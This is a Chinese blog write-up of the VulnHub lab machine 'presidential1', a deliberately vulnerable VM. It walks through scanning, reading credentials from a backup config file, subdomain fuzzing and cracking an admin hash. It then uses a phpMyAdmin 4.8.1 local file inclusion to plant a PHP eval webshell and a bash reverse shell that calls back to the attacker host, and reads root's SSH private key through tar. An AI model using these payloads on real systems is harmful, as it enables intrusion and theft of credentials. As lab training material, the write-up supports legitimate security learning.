当前位置:网站首页>【vulnhub】presidential1
【vulnhub】presidential1
2022-07-06 16:43:00 【开心星人】
博客主页:开心星人的博客主页
系列专栏:vulnhub
欢迎关注点赞收藏️留言
首发时间:2022年7月6日
作者水平很有限,如果发现错误,还望告知,感谢!
导航小助手
因为靶机是host-only模式
我们将kali也设置为host-only模式
主机发现
arp-scan -l
主机号太大或太小的丢掉,因为可能是网关之类的
所以靶机ip为192.168.110.128
端口扫描
nmap -sV -p- 192.168.110.128
访问80端口
看到有人名相关信息,之后可能需要用cwel
dirb目录扫描
dirb http://192.168.110.128
assets目录,先看下
网站源码,看看有没有扫描敏感文件,感觉没有发现什么敏感文件
cgi-bin目录403
nikto和whatweb收集信息
whatweb 192.168.110.128
nikto --url 192.168.110.128
访问一下config.php,确实有这个文件,但是为空
然后尝试会不会是备份文件config.phps 、config.php.bak
访问icons/README
突然对dirb产生了怀疑,为什么这几个文件没有扫出来
dirsearch重新扫目录
./dirsearch.py -u http://192.168.110.128
确实有config.php.bak
因为我以为它会自动下载的,就没有查看源码了
获得数据库的账号密码
打开about.html
其他版块进入不了,只有HOME和ABOUT
所以这个页面就是一个静态页面
尝试用得到的账号密码登录ssh服务
ssh -p 2082 [email protected]
不知道咋回事
cewl爬取字典
cewl http://192.168.110.128 -w dic0.txt
hydra爆破ssh
hydra -L dic0.txt -P dic0.txt ssh://192.168.110.128
看这报错信息,和上面用votebox的报错信息
应该是需要密钥,而不是直接用密码
子域名爆破
没有什么可以利用的信息了
进行子域名爆破
但是我们现在只有服务器的ip地址,没有域名
所以网站域名为votenow.local
更改host文件
vim /etc/hosts
192.168.110.128 votenow.local
想用gobuster、oneforall来爆破子域名的,但是都没有配置好
使用wfuzzwfuzz -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -H "Host: FUZZ.votenow.local" --hw 854 --hc 400 votenow.local
在Prime1靶机fuzz参数的时候用到过,-w 指定字典,-H 指定请求包头部 , --hw 和 --hc 是去除响应为指定长度的结果
得到一个子域名datasafe
写入hosts文件
vim /etc/hosts
192.168.110.128 datasafe.votenow.local
登录数据库
用得到的数据库账号登录
拿到了admin和密码
john破解密码
得到admin的密码为Stella
尝试用admin登录ssh(失败)
ssh -p 2082 [email protected]
确实是必须要证书的
phpmyadmin漏洞渗透
告诉我们了版本号4.8.1searchsploit phpmyadmin
cp /usr/share/exploitdb/exploits/php/webapps/50457.py /root
这个RCE的CVE不太会用
跟着别人用文件包含复现一下
phpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion (1) | php/webapps/44924.txt
phpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion (2) | php/webapps/44928.txt
searchsploit -x php/webapps/44928.txt
构造urlhttp://datasafe.votenow.local/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_d4qpkliuhiq1anqdkqgc8v10qnq5teq8
复现成功了
我们现在可以写一句话木马<?php eval($_GET["ant"]); ?>
select "<?php echo file_put_contents('/var/www/html/s.php',base64_decode('PD9waHAgZXZhbCgkX0dFVFsiYW50Il0pOyA/Pg=='));exit;?>"
发现这个可能我没弄好有点问题,连不上,直接反弹shellcd /var/www/html | echo 'bash -i >& /dev/tcp/192.168.110.129/1100 0>&1' > shell.sh
python -m SimpleHTTPServer 80
nc -lvvp 1100
执行sqlselect '<?php system("wget 192.168.110.129/shell.sh; chmod +x shell.sh; bash shell.sh");exit;?>'
获得一个交互式的shellpython -c 'import pty; pty.spawn("/bin/bash")'
提权
su admin
tarS -cvf key.tar /root/.ssh/id_rsa
tar -xvf key.tar
cd root/.ssh
ssh -i id_rsa root@localhost -p 2082
结束
边栏推荐
- [212] what are three methods for PHP to send post requests
- 2022/2/11 summary
- The largest single investment in the history of Dachen was IPO today
- rancher集成ldap,实现统一账号登录
- Leecode brushes questions and records interview questions 01.02 Determine whether it is character rearrangement for each other
- Introduction to GPIO
- Typescript incremental compilation
- PXE server configuration
- Three application characteristics of immersive projection in offline display
- Leecode brush questions record interview questions 32 - I. print binary tree from top to bottom
猜你喜欢
Liuyongxin report | microbiome data analysis and science communication (7:30 p.m.)
DevOps可以帮助减少技术债务的十种方式
Racher integrates LDAP to realize unified account login
Close unregistering application XXX with Eureka with status down after Eureka client starts
What can the interactive slide screen demonstration bring to the enterprise exhibition hall
app通用功能测试用例
Three application characteristics of immersive projection in offline display
Why is bat still addicted to 996 when the four-day working system is being tried out in Britain?
刘永鑫报告|微生物组数据分析与科学传播(晚7点半)
DAY TWO
随机推荐
After leaving a foreign company, I know what respect and compliance are
DAY FOUR
DAY ONE
System activity monitor ISTAT menus 6.61 (1185) Chinese repair
华为mate8电池价格_华为mate8换电池后充电巨慢
Building lease management system based on SSM framework
1000 words selected - interface test basis
Devops can help reduce technology debt in ten ways
vector的使用方法_vector指针如何使用
PostgreSQL高可用之repmgr(1主2从+1witness)+Pgpool-II实现主从切换+读写分离
GPIO簡介
DAY FIVE
Leecode brushes questions to record interview questions 17.16 massagist
File and image comparison tool kaleidoscope latest download
编译logisim
Geo data mining (III) enrichment analysis of go and KEGG using David database
Server SMP, NUMA, MPP system learning notes.
Pinia module division
37页数字乡村振兴智慧农业整体规划建设方案
从外企离开,我才知道什么叫尊重跟合规…